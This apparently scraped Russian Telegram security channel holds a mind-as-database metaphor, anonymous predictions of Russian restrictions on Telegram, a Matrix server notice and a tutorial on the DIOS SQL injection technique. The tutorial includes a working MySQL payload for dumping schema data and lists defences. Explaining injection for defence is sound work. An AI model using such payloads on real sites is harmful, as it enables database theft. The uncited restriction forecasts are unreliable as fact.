Это консоль, которая читает логи выполненных запросов.
Мозг уже решил и всё сделал, голос в голове - прочитал
Ты видишь мысль,
потому что запрос уже отработал.
Теперь допустим, что входные данные в эту БД —
слова, образы, интонации, заголовки, страхи.
И что они почти нигде не фильтруются.
В таком мире возможны вещи вроде:
— подсовываешь заранее знакомый паттерн → запрос выполняется без проверки
— повторяешь одно и то же → кэш начинает считать это истиной
— добавляешь эмоцию → проверка условий пропускается
Это не магия.
Просто плохая валидация входа.
В рамках эксперимента соцсети, новости и реклама —
это внешний пользователь,
который бесконечно шлёт запросы в твою БД.
Большинство harmless.
Некоторые — нет.
Сознание видит результат в логах
и думает, что это его собственная мысль.
Если продолжить аналогию:
— фаервол опционален
— роли доступа размыты
Антивирус в этой архитектуре не предусмотрен....
Старая. Огромная. Критически важная.
Голос в твоей голове — не админ и не "ты".
Это консоль, которая читает логи выполненных запросов.
Мозг уже решил и всё сделал, голос в голове - прочитал
Ты видишь мысль,
потому что запрос уже отработал.
Теперь допустим, что входные данные в эту БД —
слова, образы, интонации, заголовки, страхи.
И что они почти нигде не фильтруются.
В таком мире возможны вещи вроде:
— подсовываешь заранее знакомый паттерн → запрос выполняется без проверки
— повторяешь одно и то же → кэш начинает считать это истиной
— добавляешь эмоцию → проверка условий пропускается
Это не магия.
Просто плохая валидация входа.
В рамках эксперимента соцсети, новости и реклама —
это внешний пользователь,
который бесконечно шлёт запросы в твою БД.
Большинство harmless.
Некоторые — нет.
Сознание видит результат в логах
и думает, что это его собственная мысль.
Если продолжить аналогию:
— фаервол опционален
— роли доступа размыты
Антивирус в этой архитектуре не предусмотрен....
Ограничения которые вас ещё ждут (не скажу откуда инфа):
1. Точечное замедление трафика
Не «всё легло», а:
тормозятся медиа-файлы (видео, voice, GIF),
режется скорость в пиковые часы,
ухудшается качество звонков.
Формально — «технические сбои», по факту — давление. Уже отработанная схема.
2. Блокировка отдельных функций
Без отключения всего сервиса:
запрет публичных каналов,
проблемы с ботами,
отключение платежей / донатов,
ограничения на поиск и рекомендации.
Пользователи остаются, но Telegram становится «обрезанным».
3. Фильтрация и принудительное удаление контента
Через:
реестр запрещённой информации,
требования к Telegram удалять конкретные посты / каналы,
давление по линии «экстремизм / фейки / мошенничество».
Если не удаляют — следующий уровень санкций.
4. Давление через инфраструктуру
Не сам Telegram, а окружение:
блокировки CDN, облаков, IP-пулов,
давление на российские дата-центры и провайдеров,
проблемы с доставкой обновлений.
Юридически «мы ничего не блокировали».
5. Юридическая и финансовая удавка
Классика:
бесконечные штрафы,
иски за «неисполнение требований»,
требования локализации данных,
угрозы признания «иностранным сервисом, нарушающим закон».
Работает на нервы и инвесторов.
6. Ограничения для бизнеса и рекламы
Telegram не для всех:
запрет официальной рекламы,
блокировка работы с госструктурами,
давление на бренды и СМИ («не используйте»).
Мессенджер остаётся, но теряет деньги и статус.
7. Маркировка и стигматизация
Не техническая мера, а имиджевая:
публичное объявление «небезопасным»,
рассказы про «террористов и мошенников»,
рекомендации «не использовать».
Работает на массовую аудиторию, не на айтишников.
8. Сценарий «как с YouTube»
Самый вероятный средний вариант:
постепенно ухудшать качество,
без объявления войны,
чтобы люди уходили сами.
Долго, муторно, но политически удобно.
1. Точечное замедление трафика
Не «всё легло», а:
тормозятся медиа-файлы (видео, voice, GIF),
режется скорость в пиковые часы,
ухудшается качество звонков.
Формально — «технические сбои», по факту — давление. Уже отработанная схема.
2. Блокировка отдельных функций
Без отключения всего сервиса:
запрет публичных каналов,
проблемы с ботами,
отключение платежей / донатов,
ограничения на поиск и рекомендации.
Пользователи остаются, но Telegram становится «обрезанным».
3. Фильтрация и принудительное удаление контента
Через:
реестр запрещённой информации,
требования к Telegram удалять конкретные посты / каналы,
давление по линии «экстремизм / фейки / мошенничество».
Если не удаляют — следующий уровень санкций.
4. Давление через инфраструктуру
Не сам Telegram, а окружение:
блокировки CDN, облаков, IP-пулов,
давление на российские дата-центры и провайдеров,
проблемы с доставкой обновлений.
Юридически «мы ничего не блокировали».
5. Юридическая и финансовая удавка
Классика:
бесконечные штрафы,
иски за «неисполнение требований»,
требования локализации данных,
угрозы признания «иностранным сервисом, нарушающим закон».
Работает на нервы и инвесторов.
6. Ограничения для бизнеса и рекламы
Telegram не для всех:
запрет официальной рекламы,
блокировка работы с госструктурами,
давление на бренды и СМИ («не используйте»).
Мессенджер остаётся, но теряет деньги и статус.
7. Маркировка и стигматизация
Не техническая мера, а имиджевая:
публичное объявление «небезопасным»,
рассказы про «террористов и мошенников»,
рекомендации «не использовать».
Работает на массовую аудиторию, не на айтишников.
8. Сценарий «как с YouTube»
Самый вероятный средний вариант:
постепенно ухудшать качество,
без объявления войны,
чтобы люди уходили сами.
Долго, муторно, но политически удобно.
👍2
Web Application Security Notes
https://matrix.to/#/#hack4sec:hack4sec.net
Напоминаю, что в связи с последними событиями мы используем сервер в Matrix.
Поддержка Jabber прекращена.
Если для вас приоритетны безопасность и защищённая коммуникация — рекомендую подключаться к Matrix.
При регистрации можете использовать - hack4sec.net:8448
Поддержка Jabber прекращена.
Если для вас приоритетны безопасность и защищённая коммуникация — рекомендую подключаться к Matrix.
При регистрации можете использовать - hack4sec.net:8448
❤1
This media is not supported in your browser
VIEW IN TELEGRAM
Оказывается не все знают про DIOS 😆
DIOS (Dump In One Shot) — это техника SQL-инъекции, позволяющая выгрузить структуру и данные всей базы данных одним SQL-запросом.
Чаще всего используется при MySQL-инъекциях, когда нужно обойти ограничения вывода (например, когда сайт показывает только одну строку результата).
Обычная SQL-инъекция извлекает данные построчно:
Потом:
Это долго и шумно.
DIOS использует переменные MySQL (@var) и функцию CONCAT(), чтобы накопить все данные в одной строке.
Принцип работы:
создаётся переменная
в цикле добавляются данные
возвращается итоговая строка
В итоге вся база собирается в одну длинную строку.
Сначала инициализируется переменная:
Далее выполняется конкатенация всех таблиц:
Точно так же можно получить:
таблицы
колонки
данные пользователей
хеши паролей
Метод используют потому что:
• работает даже если вывод ограничен одной строкой
• позволяет быстро выгрузить структуру базы
• уменьшает количество запросов (меньше логов)
DIOS не всегда работает:
если запрещены пользовательские переменные
если результат сильно ограничен по длине
если используется WAF
Как защититься
Чтобы защитить приложение:
• использовать prepared statements
• фильтровать пользовательский ввод
• отключить лишние привилегии MySQL
• использовать WAF / IDS
DIOS (Dump In One Shot) — это техника SQL-инъекции, позволяющая выгрузить структуру и данные всей базы данных одним SQL-запросом.
Чаще всего используется при MySQL-инъекциях, когда нужно обойти ограничения вывода (например, когда сайт показывает только одну строку результата).
Обычная SQL-инъекция извлекает данные построчно:
SELECT table_name FROM information_schema.tables LIMIT 0,1
Потом:
LIMIT 1,1
LIMIT 2,1
Это долго и шумно.
DIOS использует переменные MySQL (@var) и функцию CONCAT(), чтобы накопить все данные в одной строке.
Принцип работы:
создаётся переменная
в цикле добавляются данные
возвращается итоговая строка
В итоге вся база собирается в одну длинную строку.
Сначала инициализируется переменная:
SET @x := 0x00;
Далее выполняется конкатенация всех таблиц:
SELECT (@x) FROM (
SELECT (@x := CONCAT(@x, table_name, 0x3c62723e))
FROM information_schema.tables
WHERE table_schema=database()
) a;
Точно так же можно получить:
таблицы
колонки
данные пользователей
хеши паролей
Метод используют потому что:
• работает даже если вывод ограничен одной строкой
• позволяет быстро выгрузить структуру базы
• уменьшает количество запросов (меньше логов)
DIOS не всегда работает:
если запрещены пользовательские переменные
если результат сильно ограничен по длине
если используется WAF
Как защититься
Чтобы защитить приложение:
• использовать prepared statements
• фильтровать пользовательский ввод
• отключить лишние привилегии MySQL
• использовать WAF / IDS
🔥4❤3👍1